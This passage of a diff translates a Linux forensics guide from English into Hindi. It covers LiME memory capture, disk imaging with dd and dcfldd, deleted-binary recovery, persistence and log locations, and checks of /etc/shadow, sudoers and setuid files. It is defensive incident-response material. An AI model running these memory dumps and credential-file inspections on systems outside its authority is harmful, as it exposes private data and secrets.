है।\ +इसे **संकलित** करने के लिए, आपको **उसी कर्नेल** का उपयोग करना होगा जो पीड़ित मशीन उपयोग कर रही है। > [!NOTE] -> Remember that you **cannot install LiME or any other thing** in the victim machine as it will make several changes to it - -So, if you have an identical version of Ubuntu you can use `apt-get install lime-forensics-dkms`\ -In other cases, you need to download [**LiME**](https://github.com/504ensicsLabs/LiME) from github and compile it with correct kernel headers. To **obtain the exact kernel headers** of the victim machine, you can just **copy the directory** `/lib/modules/` to your machine, and then **compile** LiME using them: +> याद रखें कि आप **पीड़ित मशीन में LiME या कोई अन्य चीज़ स्थापित नहीं कर सकते** क्योंकि इससे इसमें कई परिवर्तन होंगे +तो, यदि आपके पास Ubuntu का एक समान संस्करण है तो आप `apt-get install lime-forensics-dkms` का उपयोग कर सकते हैं।\ +अन्य मामलों में, आपको github से [**LiME**](https://github.com/504ensicsLabs/LiME) डाउनलोड करना होगा और इसे सही कर्नेल हेडर के साथ संकलित करना होगा। पीड़ित मशीन के **सटीक कर्नेल हेडर** प्राप्त करने के लिए, आप बस **डायरेक्टरी** `/lib/modules/` को अपनी मशीन पर **कॉपी** कर सकते हैं, और फिर उन्हें उपयोग करके LiME को **संकलित** कर सकते हैं: ```bash make -C /lib/modules//build M=$PWD sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" ``` +LiME 3 **फॉर्मेट** का समर्थन करता है: -LiME supports 3 **formats**: +- कच्चा (हर खंड को एक साथ जोड़ा गया) +- पैडेड (कच्चे के समान, लेकिन दाहिने बिट्स में ज़ीरो के साथ) +- लाइम (मेटाडेटा के साथ अनुशंसित फॉर्मेट) -- Raw (every segment concatenated together) -- Padded (same as raw, but with zeroes in right bits) -- Lime (recommended format with metadata +LiME का उपयोग **नेटवर्क के माध्यम से डंप भेजने** के लिए भी किया जा सकता है, इसे सिस्टम पर स्टोर करने के बजाय कुछ इस तरह: `path=tcp:4444` -LiME can also be used to **send the dump via network** instead of storing it on the system using something like: `path=tcp:4444` +### डिस्क इमेजिंग -### Disk Imaging +#### सिस्टम को बंद करना -#### Shutting down +सबसे पहले, आपको **सिस्टम को बंद करना** होगा। यह हमेशा एक विकल्प नहीं होता क्योंकि कभी-कभी सिस्टम एक प्रोडक्शन सर्वर होता है जिसे कंपनी बंद नहीं कर सकती।\ +सिस्टम को बंद करने के **2 तरीके** हैं, एक **सामान्य शटडाउन** और एक **"प्लग को खींचना" शटडाउन**। पहला तरीका **प्रक्रियाओं को सामान्य रूप से समाप्त** करने और **फाइल सिस्टम** को **सिंक्रनाइज़** करने की अनुमति देगा, लेकिन यह संभावित **मैलवेयर** को **साक्ष्य नष्ट** करने की भी अनुमति देगा। "प्लग को खींचने" का तरीका **कुछ जानकारी के नुकसान** को ले जा सकता है (जितनी जानकारी खोई नहीं जाएगी क्योंकि हमने पहले ही मेमोरी की एक इमेज ले ली है) और **मैलवेयर को इसके बारे में कुछ करने का कोई अवसर नहीं मिलेगा**। इसलिए, यदि आप **संदेह** करते हैं कि वहाँ **मैलवेयर** हो सकता है, तो बस सिस्टम पर **`sync`** **कमांड** चलाएँ और प्लग को खींचें। -First of all, you will need to **shut down the system**. This isn't always an option as some times system will be a production server that the company cannot afford to shut down.\ -There are **2 ways** of shutting down the system, a **normal shutdown** and a **"plug the plug" shutdown**. The first one will allow the **processes to terminate as usual** and the **filesystem** to be **synchronized**, but it will also allow the possible **malware** to **destroy evidence**. The "pull the plug" approach may carry **some information loss** (not much of the info is going to be lost as we already took an image of the memory ) and the **malware won't have any opportunity** to do anything about it. Therefore, if you **suspect** that there may be a **malware**, just execute the **`sync`** **command** on the system and pull the plug. - -#### Taking an image of the disk - -It's important to note that **before connecting your computer to anything related to the case**, you need to be sure that it's going to be **mounted as read only** to avoid modifying any information. +#### डिस्क की इमेज लेना +यह महत्वपूर्ण है कि **आपके कंप्यूटर को मामले से संबंधित किसी भी चीज़ से कनेक्ट करने से पहले**, आपको यह सुनिश्चित करना होगा कि इसे **केवल पढ़ने के लिए माउंट किया जाएगा** ताकि किसी भी जानकारी को संशोधित करने से बचा जा सके। ```bash #Create a raw copy of the disk dd if= of= bs=512 @@ -92,11 +77,9 @@ dd if= of= bs=512 dcfldd if= of= bs=512 hash= hashwindow= hashlog= dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes ``` - ### Disk Image pre-analysis -Imaging a disk image with no more data. - +डिस्क इमेज को बिना किसी और डेटा के इमेज करना। ```bash #Find out if it's a disk image using "file" command file disk.img @@ -108,12 +91,12 @@ raw #You can list supported types with img_stat -i list Supported image format types: - raw (Single or split raw file (dd)) - aff (Advanced Forensic Format) - afd (AFF Multiple File) - afm (AFF with external metadata) - afflib (All AFFLIB image formats (including beta ones)) - ewf (Expert Witness Format (EnCase)) +raw (Single or split raw file (dd)) +aff (Advanced Forensic Format) +afd (AFF Multiple File) +afm (AFF with external metadata) +afflib (All AFFLIB image formats (including beta ones)) +ewf (Expert Witness Format (EnCase)) #Data of the image fsstat -i raw -f ext4 disk.img @@ -149,41 +132,31 @@ r/r 16: secret.txt icat -i raw -f ext4 disk.img 16 ThisisTheMasterSecret ``` +## ज्ञात मैलवेयर के लिए खोजें -
+### संशोधित सिस्टम फ़ाइलें -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Linux सिस्टम घटकों की अखंडता सुनिश्चित करने के लिए उपकरण प्रदान करता है, जो संभावित रूप से समस्याग्रस्त फ़ाइलों को पहचानने के लिए महत्वपूर्ण है। -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} +- **RedHat-आधारित सिस्टम**: व्यापक जांच के लिए `rpm -Va` का उपयोग करें। +- **Debian-आधारित सिस्टम**: प्रारंभिक सत्यापन के लिए `dpkg --verify` का उपयोग करें, इसके बाद `debsums | grep -v "OK$"` (जिसके लिए `debsums` को `apt-get install debsums` के साथ स्थापित करें) का उपयोग करें ताकि किसी भी समस्या की पहचान की जा सके। -## Search for known Malware +### मैलवेयर/रूटकिट डिटेक्टर्स -### Modified System Files - -Linux offers tools for ensuring the integrity of system components, crucial for spotting potentially problematic files. - -- **RedHat-based systems**: Use `rpm -Va` for a comprehensive check. -- **Debian-based systems**: `dpkg --verify` for initial verification, followed by `debsums | grep -v "OK$"` (after installing `debsums` with `apt-get install debsums`) to identify any issues. - -### Malware/Rootkit Detectors - -Read the following page to learn about tools that can be useful to find malware: +मैलवेयर खोजने के लिए उपयोगी उपकरणों के बारे में जानने के लिए निम्नलिखित पृष्ठ पढ़ें: {{#ref}} malware-analysis.md {{#endref}} -## Search installed programs +## स्थापित कार्यक्रमों की खोज करें -To effectively search for installed programs on both Debian and RedHat systems, consider leveraging system logs and databases alongside manual checks in common directories. +Debian और RedHat सिस्टम पर स्थापित कार्यक्रमों की प्रभावी खोज के लिए, सामान्य निर्देशिकाओं में मैनुअल जांच के साथ-साथ सिस्टम लॉग और डेटाबेस का उपयोग करने पर विचार करें। -- For Debian, inspect _**`/var/lib/dpkg/status`**_ and _**`/var/log/dpkg.log`**_ to fetch details about package installations, using `grep` to filter for specific information. -- RedHat users can query the RPM database with `rpm -qa --root=/mntpath/var/lib/rpm` to list installed packages. - -To uncover software installed manually or outside of these package managers, explore directories like _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, and _**`/sbin`**_. Combine directory listings with system-specific commands to identify executables not associated with known packages, enhancing your search for all installed programs. +- Debian के लिए, पैकेज इंस्टॉलेशन के बारे में विवरण प्राप्त करने के लिए _**`/var/lib/dpkg/status`**_ और _**`/var/log/dpkg.log`**_ की जांच करें, विशेष जानकारी के लिए `grep` का उपयोग करें। +- RedHat उपयोगकर्ता स्थापित पैकेजों की सूची के लिए `rpm -qa --root=/mntpath/var/lib/rpm` के साथ RPM डेटाबेस को क्वेरी कर सकते हैं। +इन पैकेज प्रबंधकों के बाहर या मैन्युअल रूप से स्थापित सॉफ़्टवेयर को उजागर करने के लिए, _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, और _**`/sbin`**_ जैसी निर्देशिकाओं का अन्वेषण करें। ज्ञात पैकेजों से संबंधित नहीं होने वाले निष्पादन योग्य फ़ाइलों की पहचान करने के लिए निर्देशिका लिस्टिंग को सिस्टम-विशिष्ट कमांड के साथ मिलाएं, जिससे सभी स्थापित कार्यक्रमों की खोज को बढ़ावा मिलेगा। ```bash # Debian package and log details cat /var/lib/dpkg/status | grep -E "Package:|Status:" @@ -199,29 +172,17 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not" # Find exacuable files find / -type f -executable | grep ``` +## हटाए गए चल रहे बाइनरी को पुनर्प्राप्त करें -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} - -## Recover Deleted Running Binaries - -Imagine a process that was executed from /tmp/exec and then deleted. It's possible to extract it - +कल्पना करें कि एक प्रक्रिया /tmp/exec से निष्पादित की गई थी और फिर हटा दी गई। इसे निकालना संभव है ```bash cd /proc/3746/ #PID with the exec file deleted head -1 maps #Get address of the file. It was 08048000-08049000 dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it ``` +## ऑटॉस्टार्ट स्थानों का निरीक्षण करें -## Inspect Autostart locations - -### Scheduled Tasks - +### अनुसूचित कार्य ```bash cat /var/spool/cron/crontabs/* \ /var/spool/cron/atjobs \ @@ -235,61 +196,60 @@ cat /var/spool/cron/crontabs/* \ #MacOS ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ ``` - ### Services -Paths where a malware could be installed as a service: +एक पथ जहाँ एक मैलवेयर को सेवा के रूप में स्थापित किया जा सकता है: -- **/etc/inittab**: Calls initialization scripts like rc.sysinit, directing further to startup scripts. -- **/etc/rc.d/** and **/etc/rc.boot/**: Contain scripts for service startup, the latter being found in older Linux versions. -- **/etc/init.d/**: Used in certain Linux versions like Debian for storing startup scripts. -- Services may also be activated via **/etc/inetd.conf** or **/etc/xinetd/**, depending on the Linux variant. -- **/etc/systemd/system**: A directory for system and service manager scripts. -- **/etc/systemd/system/multi-user.target.wants/**: Contains links to services that should be started in a multi-user runlevel. -- **/usr/local/etc/rc.d/**: For custom or third-party services. -- **\~/.config/autostart/**: For user-specific automatic startup applications, which can be a hiding spot for user-targeted malware. -- **/lib/systemd/system/**: System-wide default unit files provided by installed packages. +- **/etc/inittab**: प्रारंभिक स्क्रिप्ट को कॉल करता है जैसे rc.sysinit, आगे स्टार्टअप स्क्रिप्ट की ओर निर्देशित करता है। +- **/etc/rc.d/** और **/etc/rc.boot/**: सेवा स्टार्टअप के लिए स्क्रिप्ट्स होते हैं, बाद वाला पुराने Linux संस्करणों में पाया जाता है। +- **/etc/init.d/**: कुछ Linux संस्करणों जैसे Debian में स्टार्टअप स्क्रिप्ट्स को संग्रहीत करने के लिए उपयोग किया जाता है। +- सेवाएँ **/etc/inetd.conf** या **/etc/xinetd/** के माध्यम से भी सक्रिय की जा सकती हैं, Linux के प्रकार के आधार पर। +- **/etc/systemd/system**: सिस्टम और सेवा प्रबंधक स्क्रिप्ट्स के लिए एक निर्देशिका। +- **/etc/systemd/system/multi-user.target.wants/**: उन सेवाओं के लिए लिंक होते हैं जिन्हें मल्टी-यूजर रनलेवल में शुरू किया जाना चाहिए। +- **/usr/local/etc/rc.d/**: कस्टम या तृतीय-पक्ष सेवाओं के लिए। +- **\~/.config/autostart/**: उपयोगकर्ता-विशिष्ट स्वचालित स्टार्टअप अनुप्रयोगों के लिए, जो उपयोगकर्ता-लक्षित मैलवेयर के लिए एक छिपने की जगह हो सकती है। +- **/lib/systemd/system/**: स्थापित पैकेजों द्वारा प्रदान की गई सिस्टम-व्यापी डिफ़ॉल्ट यूनिट फ़ाइलें। ### Kernel Modules -Linux kernel modules, often utilized by malware as rootkit components, are loaded at system boot. The directories and files critical for these modules include: +Linux कर्नेल मॉड्यूल, जिन्हें अक्सर मैलवेयर द्वारा रूटकिट घटकों के रूप में उपयोग किया जाता है, सिस्टम बूट पर लोड होते हैं। इन मॉड्यूल के लिए महत्वपूर्ण निर्देशिकाएँ और फ़ाइलें शामिल हैं: -- **/lib/modules/$(uname -r)**: Holds modules for the running kernel version. -- **/etc/modprobe.d**: Contains configuration files to control module loading. -- **/etc/modprobe** and **/etc/modprobe.conf**: Files for global module settings. +- **/lib/modules/$(uname -r)**: चल रहे कर्नेल संस्करण के लिए मॉड्यूल रखता है। +- **/etc/modprobe.d**: मॉड्यूल लोडिंग को नियंत्रित करने के लिए कॉन्फ़िगरेशन फ़ाइलें होती हैं। +- **/etc/modprobe** और **/etc/modprobe.conf**: वैश्विक मॉड्यूल सेटिंग्स के लिए फ़ाइलें। ### Other Autostart Locations -Linux employs various files for automatically executing programs upon user login, potentially harboring malware: +Linux विभिन्न फ़ाइलों का उपयोग करता है जो उपयोगकर्ता लॉगिन पर स्वचालित रूप से कार्यक्रमों को निष्पादित करते हैं, जो संभावित रूप से मैलवेयर को आश्रय दे सकते हैं: -- **/etc/profile.d/**\*, **/etc/profile**, and **/etc/bash.bashrc**: Executed for any user login. -- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, and **\~/.config/autostart**: User-specific files that run upon their login. -- **/etc/rc.local**: Runs after all system services have started, marking the end of the transition to a multiuser environment. +- **/etc/profile.d/**\*, **/etc/profile**, और **/etc/bash.bashrc**: किसी भी उपयोगकर्ता लॉगिन के लिए निष्पादित होते हैं। +- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, और **\~/.config/autostart**: उपयोगकर्ता-विशिष्ट फ़ाइलें जो उनके लॉगिन पर चलती हैं। +- **/etc/rc.local**: सभी सिस्टम सेवाओं के शुरू होने के बाद चलती है, मल्टीयूजर वातावरण में संक्रमण के अंत को चिह्नित करती है। ## Examine Logs -Linux systems track user activities and system events through various log files. These logs are pivotal for identifying unauthorized access, malware infections, and other security incidents. Key log files include: +Linux सिस्टम उपयोगकर्ता गतिविधियों और सिस्टम घटनाओं को विभिन्न लॉग फ़ाइलों के माध्यम से ट्रैक करता है। ये लॉग अनधिकृत पहुंच, मैलवेयर संक्रमण, और अन्य सुरक्षा घटनाओं की पहचान के लिए महत्वपूर्ण हैं। प्रमुख लॉग फ़ाइलें शामिल हैं: -- **/var/log/syslog** (Debian) or **/var/log/messages** (RedHat): Capture system-wide messages and activities. -- **/var/log/auth.log** (Debian) or **/var/log/secure** (RedHat): Record authentication attempts, successful and failed logins. - - Use `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` to filter relevant authentication events. -- **/var/log/boot.log**: Contains system startup messages. -- **/var/log/maillog** or **/var/log/mail.log**: Logs email server activities, useful for tracking email-related services. -- **/var/log/kern.log**: Stores kernel messages, including errors and warnings. -- **/var/log/dmesg**: Holds device driver messages. -- **/var/log/faillog**: Records failed login attempts, aiding in security breach investigations. -- **/var/log/cron**: Logs cron job executions. -- **/var/log/daemon.log**: Tracks background service activities. -- **/var/log/btmp**: Documents failed login attempts. -- **/var/log/httpd/**: Contains Apache HTTPD error and access logs. -- **/var/log/mysqld.log** or **/var/log/mysql.log**: Logs MySQL database activities. -- **/var/log/xferlog**: Records FTP file transfers. -- **/var/log/**: Always check for unexpected logs here. +- **/var/log/syslog** (Debian) या **/var/log/messages** (RedHat): सिस्टम-व्यापी संदेशों और गतिविधियों को कैप्चर करते हैं। +- **/var/log/auth.log** (Debian) या **/var/log/secure** (RedHat): प्रमाणीकरण प्रयासों, सफल और असफल लॉगिन को रिकॉर्ड करते हैं। +- प्रासंगिक प्रमाणीकरण घटनाओं को फ़िल्टर करने के लिए `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` का उपयोग करें। +- **/var/log/boot.log**: सिस्टम स्टार्टअप संदेशों को रखता है। +- **/var/log/maillog** या **/var/log/mail.log**: ईमेल सर्वर गतिविधियों को लॉग करता है, ईमेल-संबंधित सेवाओं को ट्रैक करने के लिए उपयोगी। +- **/var/log/kern.log**: कर्नेल संदेशों को संग्रहीत करता है, जिसमें त्रुटियाँ और चेतावनियाँ शामिल हैं। +- **/var/log/dmesg**: डिवाइस ड्राइवर संदेशों को रखता है। +- **/var/log/faillog**: असफल लॉगिन प्रयासों को रिकॉर्ड करता है, सुरक्षा उल्लंघन की जांच में मदद करता है। +- **/var/log/cron**: क्रोन जॉब निष्पादन को लॉग करता है। +- **/var/log/daemon.log**: पृष्ठभूमि सेवा गतिविधियों को ट्रैक करता है। +- **/var/log/btmp**: असफल लॉगिन प्रयासों का दस्तावेज़ीकरण करता है। +- **/var/log/httpd/**: Apache HTTPD त्रुटि और एक्सेस लॉग को रखता है। +- **/var/log/mysqld.log** या **/var/log/mysql.log**: MySQL डेटाबेस गतिविधियों को लॉग करता है। +- **/var/log/xferlog**: FTP फ़ाइल स्थानांतरणों को रिकॉर्ड करता है। +- **/var/log/**: यहाँ अप्रत्याशित लॉग के लिए हमेशा जाँच करें। > [!NOTE] -> Linux system logs and audit subsystems may be disabled or deleted in an intrusion or malware incident. Because logs on Linux systems generally contain some of the most useful information about malicious activities, intruders routinely delete them. Therefore, when examining available log files, it is important to look for gaps or out of order entries that might be an indication of deletion or tampering. +> Linux सिस्टम लॉग और ऑडिट उपप्रणालियाँ एक घुसपैठ या मैलवेयर घटना में अक्षम या हटा दी जा सकती हैं। क्योंकि Linux सिस्टम पर लॉग आमतौर पर दुर्भावनापूर्ण गतिविधियों के बारे में कुछ सबसे उपयोगी जानकारी रखते हैं, घुसपैठिए नियमित रूप से उन्हें हटा देते हैं। इसलिए, उपलब्ध लॉग फ़ाइलों की जांच करते समय, यह महत्वपूर्ण है कि आप उन गैप्स या अनुक्रम से बाहर की प्रविष्टियों की तलाश करें जो हटाने या छेड़छाड़ का संकेत हो सकते हैं। -**Linux maintains a command history for each user**, stored in: +**Linux प्रत्येक उपयोगकर्ता के लिए एक कमांड इतिहास बनाए रखता है**, जो निम्नलिखित में संग्रहीत होता है: - \~/.bash_history - \~/.zsh_history @@ -297,42 +257,39 @@ Linux systems track user activities and system events through various log files. - \~/.python_history - \~/.\*\_history -Moreover, the `last -Faiwx` command provides a list of user logins. Check it for unknown or unexpected logins. +इसके अलावा, `last -Faiwx` कमांड उपयोगकर्ता लॉगिन की एक सूची प्रदान करता है। अज्ञात या अप्रत्याशित लॉगिन के लिए इसे जांचें। -Check files that can grant extra rprivileges: +अतिरिक्त rprivileges देने वाली फ़ाइलों की जाँच करें: -- Review `/etc/sudoers` for unanticipated user privileges that may have been granted. -- Review `/etc/sudoers.d/` for unanticipated user privileges that may have been granted. -- Examine `/etc/groups` to identify any unusual group memberships or permissions. -- Examine `/etc/passwd` to identify any unusual group memberships or permissions. +- अप्रत्याशित उपयोगकर्ता विशेषाधिकारों के लिए `/etc/sudoers` की समीक्षा करें जो दिए गए हो सकते हैं। +- अप्रत्याशित उपयोगकर्ता विशेषाधिकारों के लिए `/etc/sudoers.d/` की समीक्षा करें जो दिए गए हो सकते हैं। +- किसी भी असामान्य समूह सदस्यता या अनुमतियों की पहचान करने के लिए `/etc/groups` की जांच करें। +- किसी भी असामान्य समूह सदस्यता या अनुमतियों की पहचान करने के लिए `/etc/passwd` की जांच करें। -Some apps alse generates its own logs: +कुछ ऐप्स भी अपने स्वयं के लॉग उत्पन्न करते हैं: -- **SSH**: Examine _\~/.ssh/authorized_keys_ and _\~/.ssh/known_hosts_ for unauthorized remote connections. -- **Gnome Desktop**: Look into _\~/.recently-used.xbel_ for recently accessed files via Gnome applications. -- **Firefox/Chrome**: Check browser history and downloads in _\~/.mozilla/firefox_ or _\~/.config/google-chrome_ for suspicious activities. -- **VIM**: Review _\~/.viminfo_ for usage details, such as accessed file paths and search history. -- **Open Office**: Check for recent document access that may indicate compromised files. -- **FTP/SFTP**: Review logs in _\~/.ftp_history_ or _\~/.sftp_history_ for file transfers that might be unauthorized. -- **MySQL**: Investigate _\~/.mysql_history_ for executed MySQL queries, potentially revealing unauthorized database activities. -- **Less**: Analyze _\~/.lesshst_ for usage history, including viewed files and commands executed. -- **Git**: Examine _\~/.gitconfig_ and project _.git/logs_ for changes to repositories. +- **SSH**: अनधिकृत दूरस्थ कनेक्शनों के लिए _\~/.ssh/authorized_keys_ और _\~/.ssh/known_hosts_ की जांच करें। +- **Gnome Desktop**: Gnome अनुप्रयोगों के माध्यम से हाल ही में एक्सेस की गई फ़ाइलों के लिए _\~/.recently-used.xbel_ में देखें। +- **Firefox/Chrome**: संदिग्ध गतिविधियों के लिए _\~/.mozilla/firefox_ या _\~/.config/google-chrome_ में ब्राउज़र इतिहास और डाउनलोड की जाँच करें। +- **VIM**: उपयोग विवरणों के लिए _\~/.viminfo_ की समीक्षा करें, जैसे एक्सेस की गई फ़ाइल पथ और खोज इतिहास। +- **Open Office**: हाल की दस्तावेज़ पहुंच की जांच करें जो समझौता की गई फ़ाइलों का संकेत दे सकती है। +- **FTP/SFTP**: अनधिकृत फ़ाइल स्थानांतरणों के लिए _\~/.ftp_history_ या _\~/.sftp_history_ में लॉग की समीक्षा करें। +- **MySQL**: संभावित रूप से अनधिकृत डेटाबेस गतिविधियों को प्रकट करने के लिए _\~/.mysql_history_ की जांच करें। +- **Less**: उपयोग इतिहास के लिए _\~/.lesshst_ का विश्लेषण करें, जिसमें देखी गई फ़ाइलें और निष्पादित कमांड शामिल हैं। +- **Git**: रिपॉजिटरी में परिवर्तनों के लिए _\~/.gitconfig_ और प्रोजेक्ट _.git/logs_ की जांच करें। ### USB Logs -[**usbrip**](https://github.com/snovvcrash/usbrip) is a small piece of software written in pure Python 3 which parses Linux log files (`/var/log/syslog*` or `/var/log/messages*` depending on the distro) for constructing USB event history tables. +[**usbrip**](https://github.com/snovvcrash/usbrip) एक छोटा सा सॉफ़्टवेयर है जो शुद्ध Python 3 में लिखा गया है जो USB इवेंट इतिहास तालिकाओं का निर्माण करने के लिए Linux लॉग फ़ाइलों (`/var/log/syslog*` या `/var/log/messages*` वितरण के आधार पर) को पार्स करता है। -It is interesting to **know all the USBs that have been used** and it will be more useful if you have an authorized list of USBs to find "violation events" (the use of USBs that aren't inside that list). +यह जानना दिलचस्प है कि **सभी USBs का उपयोग किया गया है** और यदि आपके पास "उल्लंघन घटनाओं" (उन USBs का उपयोग जो उस सूची में नहीं हैं) को खोजने के लिए USBs की एक अधिकृत सूची है तो यह अधिक उपयोगी होगा। ### Installation - ```bash pip3 install usbrip usbrip ids download #Download USB ID database ``` - -### Examples - +### उदाहरण ```bash usbrip events history #Get USB history of your curent linux machine usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user @@ -340,40 +297,30 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR usbrip ids download #Downlaod database usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid ``` - More examples and info inside the github: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip) -
+## उपयोगकर्ता खातों और लॉगिन गतिविधियों की समीक्षा करें -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=linux-forensics) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +असामान्य नामों या खातों के लिए _**/etc/passwd**_, _**/etc/shadow**_ और **सुरक्षा लॉग** की जांच करें जो ज्ञात अनधिकृत घटनाओं के निकटता में बनाए गए या उपयोग किए गए हैं। इसके अलावा, संभावित sudo ब्रूट-फोर्स हमलों की जांच करें।\ +इसके अलावा, उपयोगकर्ताओं को दिए गए अप्रत्याशित विशेषाधिकारों के लिए _**/etc/sudoers**_ और _**/etc/groups**_ जैसी फ़ाइलों की जांच करें।\ +अंत में, **कोई पासवर्ड नहीं** या **आसानी से अनुमानित** पासवर्ड वाले खातों की तलाश करें। -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=linux-forensics" %} +## फ़ाइल प्रणाली की जांच करें -## Review User Accounts and Logon Activities +### मैलवेयर जांच में फ़ाइल प्रणाली संरचनाओं का विश्लेषण -Examine the _**/etc/passwd**_, _**/etc/shadow**_ and **security logs** for unusual names or accounts created and or used in close proximity to known unauthorized events. Also, check possible sudo brute-force attacks.\ -Moreover, check files like _**/etc/sudoers**_ and _**/etc/groups**_ for unexpected privileges given to users.\ -Finally, look for accounts with **no passwords** or **easily guessed** passwords. +जब मैलवेयर घटनाओं की जांच की जाती है, तो फ़ाइल प्रणाली की संरचना जानकारी का एक महत्वपूर्ण स्रोत होती है, जो घटनाओं के अनुक्रम और मैलवेयर की सामग्री को प्रकट करती है। हालाँकि, मैलवेयर लेखक इस विश्लेषण को बाधित करने के लिए तकनीकें विकसित कर रहे हैं, जैसे फ़ाइल टाइमस्टैम्प को संशोधित करना या डेटा भंडारण के लिए फ़ाइल प्रणाली से बचना। -## Examine File System - -### Analyzing File System Structures in Malware Investigation - -When investigating malware incidents, the structure of the file system is a crucial source of information, revealing both the sequence of events and the malware's content. However, malware authors are developing techniques to hinder this analysis, such as modifying file timestamps or avoiding the file system for data storage. - -To counter these anti-forensic methods, it's essential to: - -- **Conduct a thorough timeline analysis** using tools like **Autopsy** for visualizing event timelines or **Sleuth Kit's** `mactime` for detailed timeline data. -- **Investigate unexpected scripts** in the system's $PATH, which might include shell or PHP scripts used by attackers. -- **Examine `/dev` for atypical files**, as it traditionally contains special files, but may house malware-related files. -- **Search for hidden files or directories** with names like ".. " (dot dot space) or "..^G" (dot dot control-G), which could conceal malicious content. -- **Identify setuid root files** using the command: `find / -user root -perm -04000 -print` This finds files with elevated permissions, which could be abused by attackers. -- **Review deletion timestamps** in inode tables to spot mass file deletions, possibly indicating the presence of rootkits or trojans. -- **Inspect consecutive inodes** for nearby malicious files after identifying one, as they may have been placed together. -- **Check common binary directories** (_/bin_, _/sbin_) for recently modified files, as these could be altered by malware. +इन एंटी-फॉरेंसिक विधियों का मुकाबला करने के लिए, यह आवश्यक है: +- **घटनाओं के समयरेखा का गहन विश्लेषण करें** जैसे उपकरणों का उपयोग करके **Autopsy** घटनाओं की समयरेखा को दृश्य बनाने के लिए या **Sleuth Kit's** `mactime` विस्तृत समयरेखा डेटा के लिए। +- **सिस्टम के $PATH में अप्रत्याशित स्क्रिप्टों की जांच करें**, जिसमें हमलावरों द्वारा उपयोग किए गए शेल या PHP स्क्रिप्ट शामिल हो सकते हैं। +- **असामान्य फ़ाइलों के लिए `/dev` की जांच करें**, क्योंकि इसमें पारंपरिक रूप से विशेष फ़ाइलें होती हैं, लेकिन यह मैलवेयर से संबंधित फ़ाइलें भी रख सकता है। +- **छिपी हुई फ़ाइलों या निर्देशिकाओं की खोज करें** जिनके नाम ".. " (डॉट डॉट स्पेस) या "..^G" (डॉट डॉट कंट्रोल-G) हो सकते हैं, जो दुर्भावनापूर्ण सामग्री को छिपा सकते हैं। +- **setuid रूट फ़ाइलों की पहचान करें** कमांड का उपयोग करके: `find / -user root -perm -04000 -print` यह उन फ़ाइलों को खोजता है जिनके पास उच्च विशेषाधिकार होते हैं, जिन्हें हमलावरों द्वारा दुरुपयोग किया जा सकता है। +- **मास फ़ाइल हटाने को इंगित करने के लिए इनोड तालिकाओं में हटाने के टाइमस्टैम्प की समीक्षा करें**, जो संभवतः रूटकिट या ट्रोजन की उपस्थिति को इंगित कर सकते हैं। +- **एक बार पहचानने के बाद निकटवर्ती दुर्भावनापूर्ण फ़ाइलों के लिए लगातार इनोड की जांच करें**, क्योंकि उन्हें एक साथ रखा जा सकता है। +- **हाल ही में संशोधित फ़ाइलों के लिए सामान्य बाइनरी निर्देशिकाओं** (_/bin_, _/sbin_) की जांच करें, क्योंकि इन्हें मैलवेयर द्वारा संशोधित किया जा सकता है। ````bash # List recent files in a directory: ls -laR --sort=time /bin``` @@ -381,58 +328,43 @@ ls -laR --sort=time /bin``` # Sort files in a directory by inode: ls -lai /bin | sort -n``` ```` - > [!NOTE] -> Note that an **attacker** can **modify** the **time** to make **files appear** **legitimate**, but he **cannot** modify the **inode**. If you find that a **file** indicates that it was created and modified at the **same time** as the rest of the files in the same folder, but the **inode** is **unexpectedly bigger**, then the **timestamps of that file were modified**. +> ध्यान दें कि एक **हमलावर** **समय** को **संशोधित** कर सकता है ताकि **फाइलें वैध** **दिखें**, लेकिन वह **inode** को **संशोधित** नहीं कर सकता। यदि आप पाते हैं कि एक **फाइल** यह दर्शाती है कि इसे उसी **समय** में बनाया और संशोधित किया गया था जैसे कि उसी फ़ोल्डर में अन्य फ़ाइलें, लेकिन **inode** **अप्रत्याशित रूप से बड़ा** है, तो उस **फाइल के टाइमस्टैम्प को संशोधित किया गया था**। -## Compare files of different filesystem versions +## विभिन्न फाइल सिस्टम संस्करणों की तुलना करें -### Filesystem Version Comparison Summary +### फाइल सिस्टम संस्करण तुलना सारांश -To compare filesystem versions and pinpoint changes, we use simplified `git diff` commands: - -- **To find new files**, compare two directories: +फाइल सिस्टम संस्करणों की तुलना करने और परिवर्तनों को पहचानने के लिए, हम सरल `git diff` कमांड का उपयोग करते हैं: +- **नई फाइलें खोजने के लिए**, दो निर्देशिकाओं की तुलना करें: ```bash git diff --no-index --diff-filter=A 